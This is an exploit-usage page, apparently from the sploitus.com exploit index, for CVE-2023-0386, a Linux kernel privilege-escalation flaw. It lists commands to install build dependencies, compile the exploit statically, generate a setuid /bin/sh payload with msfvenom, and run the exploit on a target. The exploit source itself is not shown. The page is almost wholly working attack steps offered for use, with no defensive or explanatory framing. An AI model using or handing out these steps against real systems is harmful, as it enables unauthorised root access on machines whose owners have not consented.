Share
## https://sploitus.com/exploit?id=D3BDD169-C6BF-5E2A-83EE-0E7F9B16F584
Install compilation environment
```bash
sudo apt install -y gcc libfuse-dev pkg-config
```
Compile `exp`
```bash
gcc -Wall CVE-2023-0386.c `pkg-config fuse --cflags --libs` -D_FILE_OFFSET_BITS=64 -o CVE-2023-0386-exp -static -lfuse
```
Generate shellcode
```bash
msfvenom -p linux/x86/exec CMD=/bin/sh PrependSetuid=True -f elf -o shellcode.elf && xxd -i -c 8 shellcode.elf
```
Execute the target. **No need to install GCC or other environments for the target.**
```bash
chmod +x CVE-2023-0386-exp && ./CVE-2023-0386-exp
```